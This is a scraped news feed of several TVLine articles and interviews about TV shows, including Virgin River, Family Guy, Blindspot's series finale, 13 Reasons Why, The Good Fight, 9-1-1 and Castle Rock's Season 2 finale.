The big moment follows a blow-up argument between Mel and Jack at the end of Episode 2. Mel wants to get everything out in the open so that she and Jack can go back to the way things were, apologizing for leaving and returning without telling him. He accepts her apology, but the conflict lingers.

Mel storms out, but wouldn’t you know it, her car battery is dead. (Fate is clearly ‘shipping these two.) So Jack drives her back to her cabin, where they make out on the porch before proceeding to the not-suitable-for-younger-viewers portion of the evening. So, why didn’t this long-awaited romantic milestone come sooner?

“If you’ve read the books, you know that sex is a big part of the books,” showrunner Sue Tenney tells TVLine. “But I just didn’t feel that the first season was about that. I wanted to hold off.”

As for the scene itself, star Alexandra Breckenridge (aka Mel) appreciates that the moment remained “nice and tasteful” while still feeling romantic and satisfying. “Our show, I believe, is PG-14,” she says with a laugh, “so there aren’t a lot of body parts that are allowed to be shown. We also have a huge age range that watches, from younger viewers to older viewers, and I don’t think everybody wants to see a full True Blood-level sex scene. And I fully did a True Blood scene back in the day.”

In addition to turning Mel and Jack’s courtship into a considerably slower burn, Tenney says she also resisted the urge to jump forward in time between seasons. “We’re sticking to a shorter time frame here, which I haven’t done in other series I’ve worked on. But we were afraid we would miss some really great stuff between these characters.”

Tenney credits Netflix for being a “fantastic partner” in storytelling. “They weren’t trying to hurry us up, or to rush us to where we were going,” she says. “They let us tell the story, and as a storyteller, that’s like catnip.”

And before you even suggest that Virgin River author Robyn Carr might object to any of the show’s page-to-screen changes, Tenney assures TVLine that she and Carr have nothing but respect for one another.

“[Carr] watched Season 1 when everybody else got it, and she was the first phone call I got,” Tenney recalls. “She said she couldn’t be happier, she thought it was amazing and that she wishes she’d thought of some of those twists. It’s very important to honor the books and the book fans. We talk about that often.”

Were you satisfied by Mel and Jack’s long-awaited first night together? Drop a comment with your thoughts on the episode, as well as Virgin River‘s second season in general, below.

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]]> https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/feed/ 0 Family Guy Premiere Finally Explains Who Can Understand Stewie — Watch https://briefnews.eu/family-guy-premiere-finally-explains-who-can-understand-stewie-watch/ https://briefnews.eu/family-guy-premiere-finally-explains-who-can-understand-stewie-watch/#respond Fri, 25 Sep 2020 19:01:35 +0000 https://briefnews.eu/family-guy-premiere-finally-explains-who-can-understand-stewie-watch/

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Stewart Gilligan Griffin has something to say, and for the first time in Family Guy history, the whole world is going to hear him say it.

Sunday’s season premiere (Fox, 9:30/8:30c), appropriately titled “Stewie’s First Word,” finds the youngest member of the Griffin tribe uttering his first on-record word. Confused? Get in line behind Brian.

“I don’t get it, Stewie, you’ve been talking forever,” Brian says in TVLine’s exclusive sneak peek (above). “Why did everyone suddenly understand you now?” Stewie doesn’t have an exact answer, but he gives it a shot, saying, “I don’t know. I was feeling such intense emotion in the moment, and that one word somehow just burst through.”

TVLine spoke with executive producer Rich Appel back in 2015 (literally 100 episodes ago!), at which point he offered this explanation for why only certain people seem to be able to understand Stewie: “Within the family, Brian and sometimes Chris [always understand him]. But to the rest of the outside world — Peter and Lois and Peter’s friends — it’s important that they can’t.”

(Here’s hoping that Sunday’s premiere offers a more concrete explanation.)

Hit PLAY on the video above to watch Stewie put his theory to the test, then drop a comment with your own thoughts below.

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]]> https://briefnews.eu/family-guy-premiere-finally-explains-who-can-understand-stewie-watch/feed/ 0 Blindspot Boss Explains [Spoiler]’s Surprising Series-Ending Fate — Plus, Grade the Series Finale https://briefnews.eu/blindspot-boss-explains-spoilers-surprising-series-ending-fate-plus-grade-the-series-finale/ https://briefnews.eu/blindspot-boss-explains-spoilers-surprising-series-ending-fate-plus-grade-the-series-finale/#respond Fri, 24 Jul 2020 08:10:31 +0000 https://briefnews.eu/blindspot-boss-explains-spoilers-surprising-series-ending-fate-plus-grade-the-series-finale/ The following post contains major spoilers for Blindspot‘s series finale. Proceed with caution!

In the end, Blindspot concluded the same way it began: with Jane Doe stuffed in a bag in the middle of Times Square. This time, though, she wasn’t emerging from an unmarked duffel; rather, police were zipping her up in a body bag as the show came to an end.

The NBC drama aired its 100th and final episode on Thursday night, which culminated with a (seemingly) devastating twist. Even though Jane and Weller successfully defused a ZIP bomb that Ivy Sands had planted in New York — which would have wiped countless memories across the city — it was revealed in the final scene that Jane ultimately succumbed to the ZIP poisoning she’d encountered at the end of Episode 10.

Though Patterson had administered an antidote to Jane after she got ZIP-ed, the cure simply wasn’t strong enough for Jane, who’d previously been exposed to so much ZIP years ago that this new dose affected her much more than the average person. To that end, as a result of the ZIP poisoning, Jane spent the entire finale hallucinating people from her past — and we’re talking virtually everyone who has ever appeared on the show, including Roman, Shepherd, Dr. Borden and many more.

Jane was a little freaked by the visions at first, knowing they were a sign of her impending, ZIP-induced death. But when she realized the hallucinations were helping her figure out and stop Ivy’s plan, she decided to forgo a second injection of Patterson’s antidote and keep the hallucinations around… until, apparently, it was too late to receive the ZIP cure.

For series creator Martin Gero, however, Blindspot‘s ending isn’t quite so black and white. TVLine spoke with the EP after screening the finale, and he offered some insights on Jane’s fate, as well as the “overwhelming” experience of shooting an episode that brought back dozens of previous cast members. Read on for his breakdown of Blindspot‘s final hour.

Blindspot Series FinaleTVLINE | You’ve spoken before about your initial plan for Blindspot, including the big twists that you’d envisioned when you first pitched the show. How much of the finale was in your head from Day 1? Did you always know how you wanted it to end?
I did, and it has grown and transformed over the years. There were certainly elements of the finale that I had in my head that are part of the show, mainly returning to Times Square. But the exciting thing about working on a TV show is that when you start, it’s just you. It’s you, alone, in a room, and then thousands of other people come into contact with it and add their incredible intelligence and artistry. You’d be a fool not to let the show grow in directions you hadn’t anticipated to accommodate their amazing ideas. So parts of it, absolutely. But this really is a collective achievement of the room.

TVLINE | My interpretation of the ending was that Jane had died, and the dinner party at the end was perhaps her version of heaven. Is that how you want viewers to interpret it? Do you feel it’s more open-ended than that?
I don’t think there is a correct interpretation of it. I obviously have my intent, and I and the writers have a strong idea of what we believe. But we wanted it to be a bit of a Rorschach test, and I can’t believe how effective it is. Fifty percent of the people [who saw the finale ahead of time] think she’s definitely alive, and 50 percent of the people think she’s definitely dead. We wanted it to be everything for everybody. [Laughs] We wanted to do the things that we wanted to do, but we also knew there were some fan things that they desperately wanted to see, at least for a moment in the show. We made a big list and said, “OK, in our dream finale, what’s everything we could put into it?” And then we tried to honestly put as much of that into it as possible, as you can see. It’s a very full episode. But we wanted everyone to have an ending that they could feel good about at the end of 100 episodes.

TVLINE | The episode also drops a few hints about alternate universes and multiple iterations of events. Should that factor in to how we view that final scene?
I’ll let you interpret that as you will. [Laughs]

TVLINE | So there does seem to be some ambiguity here about whether or not she really died. Why did you decide to take that approach, as opposed to tying everything up with a bow in your last episode?
I won’t speak to whether she’s dead or not, but I think ambiguous endings… here’s the thing. This will not be an ambiguous ending to most people. Most people will believe that it’s one way or the other and have evidence on either side to make that case. What we tried to do was, yes, it’s ambiguous if you take a step back. But in reality, the viewing experience will be very clear one way or the other.

Blindspot Series FinaleTVLINE | As a point of clarification: All those scenes that take place between the bomb getting defused and Jane realizing she’s dead — did those really happen in some form, if Jane didn’t actually survive? Patterson’s goodbye scene with Zapata and Rich, for instance?
It’s open to your interpretation. [Laughs] I’m sorry. We’re really happy with the balance of the ending, and these are conversations we want the audience to make the choices on.

TVLINE | Let’s talk about the sheer number of people you brought back for this finale. Is it safe to say the only big absence was Bethany Mayfair?
Yeah, it just didn’t work out scheduling-wise, unfortunately. [Marianne Jean-Baptiste] is an incredibly in-demand actress, and we just couldn’t make it work.

TVLINE | I have to imagine it was a logistical nightmare to bring so many people back, especially for group scenes.
Yeah, it was a Sisyphean feat pulled off by both production and our casting department. We had this idea toward the end of Season 4, and I just made the calls. I called everyone and said, “Hey, we can’t afford to pay you your full fee.” [Laughs] “Please come back. Can we figure out a way to get you back for a day?” And everybody said yes, which really speaks to the kind of vibe that our crew has created over the past five years. People were just excited to be included, and they were excited to come back and hang out one more time before this very special collection of people all went their separate ways.

One of the things we did do was shoot over two months. We shot this episode off and on from the beginning of September to the middle of November, in part to accommodate everyone’s schedule. For instance, that Big Bad collection was so hard to pull off, to get everyone there in the same room. In fact, Tom Lipinski [who plays Cade] was on Snowpiercer, and the reason he’s in the first scene and not the second scene is he took an overnight flight from Vancouver, was able to shoot with us for four hours just to film his cameo, and then got on a flight and flew back to Vancouver so he would only miss a day of filming for his TV show. It was so overwhelming to have these people [back], to have Lou Diamond Phillips show up for three hours in the middle of the night in Times Square and just be so jazzed about it. Everyone was coming back for these tiny little moments.

What a lot of people probably don’t notice, upon first viewing, is in all of these flashbacks, a lot of the background players [are also former cast members]. For instance, the people in the cathedral — those are all guest stars from previous episodes. We have a representative of each of the 100 episodes featured, at least in some way, in the finale.

Blindspot Series FinaleTVLINE | That’s really incredible. And I appreciated your cameo in that wedding hallucination, too. (pictured at right)
[Laughs] Thank you! Joe Dinicol [who plays David] was the officiant at my wedding, so I felt it was only right for me to officiate his wedding with Patterson. I tried to darken it as much as possible and color-correct so it would be as subtle as possible, but yes, thank you.

TVLINE | The other scene that seemed like an enormous undertaking was that cathedral fight sequence, which at least looked like it was filmed in one take. Can you walk me through what it was like to produce that?
That fight scene was shot over a pretty big two-day sequence. There is a stitch [where a new take is used]. I won’t go into where. [Laughs] There are some cuts. But it was truly a feat by our stunt team and our production design team. We knew we were going to do one last big Jane fight, and we’d been talking about it since the beginning of the season. It became very clear that to do it in the way we wanted to, the production design team would have to design a space in concert with our stunt team. And then, to their great frustration and joy, I kept being like, “It’d be great if one of them caught on fire!” And then, “Oh, what if, when they caught on fire, the sprinklers go off! That’d be amazing!” It was this whole giant set that we ended up building on stage.

And then Heidi [Germaine Schnappauf], our stunt double for Jane — she’s been our stunt double since Season 2 — has really done some incredible work. This is her true masterpiece calling card. The physical exertion it took to do that sequence again and again and again and again until we got it perfectly right in these single takes was one of the most impressive things I’ve ever seen. It’s so dangerous.

And our A camera operator, Pyare Fortunato, he’s in the choreography with it. He had to come in and rehearse with the camera team before we could shoot it, just trying to figure out, “Where’s safe for me to be? How do we capture this?” I’m so glad you liked that sequence. That really speaks to what I’m going to miss most, which is this incredible crew that had this incredible, can-do attitude. One of the things that I’m so overwhelmed by all the time is, there’s nothing but problems in television production. [Laughs] Things always go wrong, things never go as planned. It requires extreme ingenuity from hundreds of people on a daily, sometimes hourly, sometimes by-the-minute basis to ever get these things finished. To watch that team do what they did for five years was the greatest professional thrill of my life.

That’s a wrap, Blindspot fans! What did you think of the series finale? Cast your votes in our polls below, then drop a comment with your full reviews!


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]]> https://briefnews.eu/blindspot-boss-explains-spoilers-surprising-series-ending-fate-plus-grade-the-series-finale/feed/ 0 13 Reasons Why Star Explains Why the Final Episodes Feel Like ‘More of a Departure’ From Previous Seasons https://briefnews.eu/13-reasons-why-star-explains-why-the-final-episodes-feel-like-more-of-a-departure-from-previous-seasons/ https://briefnews.eu/13-reasons-why-star-explains-why-the-final-episodes-feel-like-more-of-a-departure-from-previous-seasons/#respond Fri, 05 Jun 2020 00:40:17 +0000 https://briefnews.eu/13-reasons-why-star-explains-why-the-final-episodes-feel-like-more-of-a-departure-from-previous-seasons/

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13 Reasons Why returns to Netflix for its final season on Friday, closing the book on Liberty High School’s legacy of trauma and giving its characters what Devin Druid calls a “proper sendoff.”

“We were really fortunate that Netflix gave us the opportunity to have this many seasons and write an actual ending,” Druid, who plays Tyler Down, tells TVLine. “Not every show has that same luxury, so I’m really grateful.”

Not only is the show’s final season shorter than its previous three (with 10 episodes instead of the usual 13), but as Druid explains, it’s also “more of a departure from the other seasons, which had a central catalyst that motivated the characters. This season just takes a look at everything these characters have gone through, and the story comes from how they react to all of that. So it kind of goes the opposite way, which I think is really fun.”

13 Reasons Why Devin DruidThe show’s final season forces its characters to confront everything they’ve done, including the painful secrets they agreed to bury rather than work through. (As we saw in the trailer, the ghosts of Bryce Walker and Montgomery Cruz are among those still haunting the hallways.) For Tyler, facing his past may include taking responsibility for the time he brought an assault rifle to the school dance back in Season 2.

“We did see those guns being pulled out of the water at the end of Season 3,” Druid reminds us. “If something like that were to get brought back into play, that would certainly be traumatizing for Tyler. It would also threaten everything he has worked on and built towards in order to make things right. So he’s definitely worried about that. These characters have a few huge secrets that they’re trying to keep under wraps, so everyone has a lot to worry about.”

And while Druid can’t say how Tyler’s story will play out, he feels good about the progress that his character has made during the show’s four seasons. “Tyler doesn’t always make the right decisions, but he’s the first one to take the necessary steps to right his wrongs,” Druid says. “I’ve always appreciated that about him.”

What are your hopes for the final season of 13 Reasons Why? Drop ’em in a comment below.

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]]> https://briefnews.eu/13-reasons-why-star-explains-why-the-final-episodes-feel-like-more-of-a-departure-from-previous-seasons/feed/ 0 Good Fight Cast Explains Unusual Season 4 Scheduling Move — Watch https://briefnews.eu/good-fight-cast-explains-unusual-season-4-scheduling-move-watch/ https://briefnews.eu/good-fight-cast-explains-unusual-season-4-scheduling-move-watch/#respond Thu, 16 Apr 2020 17:09:57 +0000 https://briefnews.eu/good-fight-cast-explains-unusual-season-4-scheduling-move-watch/

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The third episode of The Good Fight‘s current fourth season — which was originally slated to drop on CBS All Access next Thursday — is being delayed a week. And the series’ cast, led by Christine Baranski, and crew are revealing why in a surprisingly enlightening and uplifting video message to fans.

As previously reported, The Good Fight was one of many scripted series forced to shut down production due to the coronavirus pandemic. Turns out the work stoppage will not only result in a delayed back half of Season 4, but it’s impacting the delivery of the episodes that were shot pre-shutdown.

“Working from home has delayed many aspects of post-production,” explains co-star Nyambi Nyambi at the beginning of the video (watch it above). “We need one week to catch up.”

Good Fight co-creators Robert and Michelle King then go on to offer specifics, complete with geographic visual aids!

The video then takes an abrupt musical theater detour when Baranski and her colleagues — including Broadway vet Audra McDonald! — serenade viewers with a cover of “You Are My Sunshine.” It’s probably the closest thing we’re going to get to a Good Fight musical episode and you know what? We’ll take it. Happily.

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]]> https://briefnews.eu/good-fight-cast-explains-unusual-season-4-scheduling-move-watch/feed/ 0 9-1-1’s Jennifer Love Hewitt Explains Why She Appreciated the Outcome of Maddie’s Latest Hostage Crisis https://briefnews.eu/9-1-1s-jennifer-love-hewitt-explains-why-she-appreciated-the-outcome-of-maddies-latest-hostage-crisis/ https://briefnews.eu/9-1-1s-jennifer-love-hewitt-explains-why-she-appreciated-the-outcome-of-maddies-latest-hostage-crisis/#respond Tue, 14 Apr 2020 01:32:02 +0000 https://briefnews.eu/9-1-1s-jennifer-love-hewitt-explains-why-she-appreciated-the-outcome-of-maddies-latest-hostage-crisis/

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Monday’s 9-1-1 found Maddie Buckley once again fighting for her life, this time against a group of thieving terrorists that seized control of the call center and took its dispatchers hostage.

Though Maddie is the one who ultimately stabbed the ringleader with an EpiPen, it was really a group effort, with everyone from Josh to Sue stepping up to take down the baddies and tip off the authorities. Thanks to their heroic contributions, the situation deescalated before any of the hostages were lost. Heck, they even managed to rescue the guy Maddie stabbed, which means the official Fox account can continue thirst-tweeting about him:

We checked in with Jennifer Love Hewitt to see how her character is holding up after surviving yet another living nightmare:

TVLINE | My first thought at the end of last week’s episode was, ‘Great, this is exactly what Maddie needs — another traumatic event.’
You and me both. This girl has really gone through it. It’s insane.

TVLINE | Is it bad that I’m glad the main bad guy survived? I know it was in self-defense, but I don’t think Maddie needed another death on her conscience.
We were actually joking off-camera that if the episode had continued, Maddie would have had to kill another person. I think she does have a trigger. Like, if you threaten her life and push her too far, you’re going to have to go out. So I was also very happy that it didn’t end that way this time, and that she isn’t just stacking up bodies.

TVLINE | Her last crisis was a domestic issue, then comes this one at work. She must be feeling like she isn’t safe anywhere anymore.
I like that you said that, and I also feel that way. In a two-year period, this is now the second time Maddie has found herself in a hostage situation where she ultimately has to ask herself, ‘Do they die or do we?’ I feel like where she is safe is with Chimney. The joy that they create for each other when they’re together, and the tribe of people she’s putting together, is where she’s starting to find her safety.

TVLINE | I appreciate that Maddie didn’t immediately return the L-bomb when Chimney said it. The show does a great job of honoring her past.
Me too, and I think that’s important. Early on, I told [showrunner Tim Minear] that I wanted Maddie to end up in a good relationship once all the Doug stuff was over. I wanted to show that you can be with the wrong person and all the wrong things can happen, but when you find the right person, all the right things can happen. I said I wanted Maddie to be with Chimney, and even though I think Tim was a little surprised, he made this beautiful relationship. I feel indebted to him forever, not only for really hearing me, but for being on the same wavelength about this story needing a great love. What I respect most about [Maddie and Chimney’s] relationship is that the show is giving it time to grow. It feels like a relationship that should be happening between two people in their forties who have been through everything they’ve been through. Their love feels well-earned, and I like that. I think it’s different from other things we’ve seen on TV. I do think that they rush relationships a lot.

TVLINE | And now that Albert is around, it’s like they have a full-grown son.
[Laughs] Well, yes. And Buck! We’re officially raising those people on the show. And now I have Josh, too.

TVLINE | Not that she isn’t helpful on the phone, but as we saw this week, Maddie continually proves herself to be valuable in the field. Do you think she’d ever want to get back in on the action?
Maddie was in the field as a nurse, so she already had that moment. Now, because of her past traumas, she finds safety in that chair. It allows her to emotionally connect with people, and as someone who has been through so many traumatic situations in her own life, she really can be there for people. She speaks from a place of truth.

Your thoughts on this week’s 9-1-1? Drop ’em in a comment below.

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]]> https://briefnews.eu/9-1-1s-jennifer-love-hewitt-explains-why-she-appreciated-the-outcome-of-maddies-latest-hostage-crisis/feed/ 0 Castle Rock’s Lizzy Caplan Explains Annie’s ‘Gut Punch’ Finale Decision: ‘This Was the Only Way to End It’ https://briefnews.eu/castle-rocks-lizzy-caplan-explains-annies-gut-punch-finale-decision-this-was-the-only-way-to-end-it/ https://briefnews.eu/castle-rocks-lizzy-caplan-explains-annies-gut-punch-finale-decision-this-was-the-only-way-to-end-it/#respond Wed, 11 Dec 2019 23:41:58 +0000 http://briefnews.eu/castle-rocks-lizzy-caplan-explains-annies-gut-punch-finale-decision-this-was-the-only-way-to-end-it/

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The following post contains spoilers from Castle Rock‘s Season 2 finale. If you haven’t watched the episode yet, avert your eyes.

Paul Sheldon may not know it yet, but he just encountered his No. 1 fan.

Castle Rock wrapped its second season on Wednesday with an emotional finale, which, among other things, introduced a young Annie Wilkes to the Misery Chastain novels with which she ultimately becomes obsessed. But even as Annie gained a new “little love” in the form of Paul Sheldon’s writing, she lost another — and this one hurt.

First, a brief recap: Just moments before Amity Lambert was to be reincarnated in Joy’s body, Nadia and Abdi blew up the statue that had been hypnotizing Castle Rock’s residents. As soon as the statue had been destroyed, the spell was broken, and Joy drove a knife through Ace Merrill’s back before fleeing the scene.

With those traumatic events (sort of) behind them, Annie and Joy resumed their road trip, eventually landing in Canada where Annie found work as a caretaker for an elderly, bed-ridden man. But Joy didn’t exactly return to her normal self; she was moody and standoffish, and Annie grew increasingly suspicious that Joy was still possessed by Amity’s spirit — suspicions that were only made worse by a phone call she overheard, in which Joy and a deep-voiced man were discussing the plan for “tomorrow.”

Convinced that her daughter now posed a threat, Annie slipped some anti-psychotics into Joy’s bowl of ice cream… but when Joy realized she’d been drugged, Annie tried to force the ice cream into her daughter’s mouth, prompting a physical scuffle between the two women. Joy eventually ran outside to the lake surrounding their house, but Annie caught her before she could untie the boat next to the dock — and minutes later, Annie had drowned Joy in the water.

When a shell-shocked Annie went back inside the house, she found a letter that Joy had written to her, explaining that she needed to live on her own for a while, and the phone call Annie had heard was with a lawyer who would help Joy get emancipated. Realizing that she had just killed her harmless daughter, a horrified Annie raced back outside and tried to revive Joy, who fortunately spit up water and regained consciousness (and believed her mom’s lie that she had fallen into the lake, leading Annie to save her life).

Following Joy’s miraculous resurrection, she and Annie became closer than ever: They restarted their road trip once again, and Joy suddenly seemed content to live with her mom forever, rather than carving out her own life. At the end of the hour, Annie and Joy attended a book signing for Paul Sheldon, whose novels Annie had discovered (and become instantly infatuated with) during their stay in Canada. But as the event began, one final twist was revealed: Joy was only a hallucination in Annie’s head. Annie had drowned her daughter in the lake that day, and Joy wasn’t really there, after all.

TVLine caught up with series star (and Performer of the Year finalist) Lizzy Caplan, who explained Annie’s horrifying actions in the finale (and revealed a Misery homage that didn’t make it into the show).

Castle Rock Season 2 FinaleTVLINE | Let’s start with that very final moment, when we learn Annie did kill Joy, and her daughter is just in her head now. Had you discussed that twist beforehand with the producers, or were you taken by surprise when you read the finale script?
Yeah, that was something that [series co-creator] Dustin Thomason and I discussed. There was a version of a different ending that we thought we were going to do when we were halfway through shooting the season. And then it became very, very clear that this was the only way to end it. Annie had to kill Joy. It wouldn’t have had the same emotional impact if she had killed somebody else and Joy witnessed it, and then that caused their future emotional estrangement. None of it seemed to carry enough of an emotional gut punch as killing Joy…. We wanted the audience to constantly be questioning whether Annie was going to kill Joy. There’s this pull in that direction, and Annie spends so much time fighting that pull. We wanted this specter that’s hanging over Annie for the whole season: Will she kill Joy? Deep down, Annie was conscious of that fear, and Joy probably was, as well. And we just didn’t want to end the season with a whimper. We wanted to end it with a bang where [Annie’s] deepest fear about herself would actually come to pass.

TVLINE | As the woman playing Annie, did you feel as though her actions were justified? Or did you have a hard time wrapping your head around her decision?
Yeah, Annie took this one a bit far. [Laughs] The whole thing I realized in playing this character is that even though she often sees things that aren’t there, and she misreads the room quite a lot, it has to feel very true to Annie. I didn’t want it to be like, “Oh, she’s crazy. She does crazy stuff. I would never do that!” I wanted people to feel like, “Oh, God, maybe in that situation, backed against that wall, maybe I would do something like that.” That is sort of my job, to make her actions seem justifiable to her. And when we get to the second half of this finale, she’s suspicious that Joy is, in fact, one of the turned people. And she is well within her rights to suspect that, to be afraid of something like that. They’ve just survived this completely outlandish situation, so with Annie Wilkes’ logic — you can’t really fault her for thinking that is a possibility. We can fault her logic in previous scenes throughout the season, but I don’t think this one.

And when you’re a teenager, you start breaking away from your parents and looking for your own independence, and it seems most mothers have to grieve their little girl and welcome in this grown woman. And that’s a difficult situation in the real world. Our situation is obviously enhanced, to put it lightly. [Laughs] But this situation with Joy — you buy both versions of it. You buy the version that she’s still possessed and under this spell — that’s Annie’s reality — and you can also completely buy that Joy’s just being a teenager who went through some heavy s—t and needs to be by herself for a little bit. We wanted the audience to not know which was the reality. At the beginning of the season, the audience knows what is real and what is not, even when Annie doesn’t always. But because we’ve gone through this supernatural task, the audience is hopefully questioning what’s true and what isn’t. If we can put you a little bit in the brain of Annie, so that you’re questioning your logic around those decisions, then we’ve done a good job.

TVLINE | I want to get your take on Annie’s hallucinations at the end, particularly when she’s seeing Joy. Is that a direct result of her psychosis, and perhaps a lack of medication? Or is this just her twisted way of grieving?
Probably a combination of all those things. I do believe that, like many things about Annie, it’s very open to the audience’s interpretation. I personally believe — and this is truly just my opinion, since we won’t get to see what happens beyond that moment — that once she sees Paul Sheldon, and she’s completely locked into her new obsession with Misery and this author, Joy would eventually disappear. [Annie’s] got her sights set on her next true love. She leapfrogs from one to the next: from her father to Joy, and now to Paul Sheldon and the Misery books. She only has room to truly love one thing and be obsessed with one thing. So as she settles into this new obsession, I feel like Joy would probably fade into the background. I don’t believe that Joy is manifesting herself in Annie’s brain during the Sidewinder, Colorado days [in Misery]. Joy’s put to bed before that occurs.

Castle Rock Season 2 FinaleTVLINE | I loved that moment where Annie picks up a Paul Sheldon book for the first time and reads a passage, then says, “Good opening.” Did you get a kick out of those little nods to the future Annie?
Absolutely. It was the best. In fact, I just remembered something! And I’m really bummed it’s not in there! We got a prop made of a little penguin — I don’t know if you remember this from the movie, but Annie has a penguin figurine, and when Paul Sheldon goes out into the living room, that’s how she knows he’s been out of his room. So we recreated it! She was going to find that, too. [Laughs] Doing those little Easter eggs was the fun of it all. Yes, it’s a horror show, and there are really emotionally charged scenes. But the joy of playing and watching Annie Wilkes is that she’s not just this super intense, dark villain all the time. She has these other dimensions, including being silly and fun, and those are the things that I love most about Misery. She’s operating under a different rulebook.

TVLINE | Speaking of which — and I hope this isn’t too twisted a question — there was a moment in Episode 9 where Jamal is lying in that hospital bed, and Annie picks up a mallet, and she looks like she’s going to hurt him with it, but she doesn’t. Was there any part of you that was weirdly disappointed she didn’t get to pull the same move that Misery’s Annie did?
[Laughs] We did get that sledgehammer scene where I smash the guy’s head in [during Episode 8], so that was very satisfying. We were all very excited to get to shoot that. But in the scene that you’re talking about, those were just random props that were laid out. I wanted to have a moment of picking up that hammer and looking at it. Part of the fun of doing this show is those little homages to the queen [Kathy Bates]. We were always looking for little things we could sneak in, some of which started in the script stage before we started shooting, and some we would just find on set, and it gave us glee thinking about people discovering those when they watched the show.

TVLINE | You and Elsie Fisher had some harrowing scenes in the second half of this episode. Were any of those particularly challenging to film?
Yeah, all of the stuff in the water was really tough. Not only because it was very cold, but there was already so much emotional heavy lifting, and then you add the physicality of running through water. I find that really helpful, personally, in performance, because you’re kicking your own ass physically, in addition to whatever the emotional lifting is. Also, I love Elsie. I do have maternal feelings toward her, so even just pulling her head back by her ponytail or anything that would hurt her or make her feel afraid — I did feel guilty about that. But only after “cut.” [Laughs] Between “action” and “cut,” I enjoyed wrestling that little lady.

And weirdly, the ice cream scene — we were trying to figure out how to do that for quite a while. We kept coming back to that, to really sell how harrowing that moment would be. Elsie and I are really good friends, and you’re coming to the end of the season when you’re smashing ice cream in someone’s face… this is a little funny, and we don’t want it to feel funny. It was just about trying to find the right tone. She and I appreciated the weight of this relationship, and we knew what we were tasked with in this finale. But it was also the final episode, so there’s this last-day-of-school, celebratory vibe on set. We tried to find the line between those two things. It truly was an amazing experience to shoot this show, but obviously there’s some very heavy s—t.

Your turn, Castle Rock fans! What did you think of the sophomore finale? Grade the episode in our poll below, then drop a comment with your full reviews!

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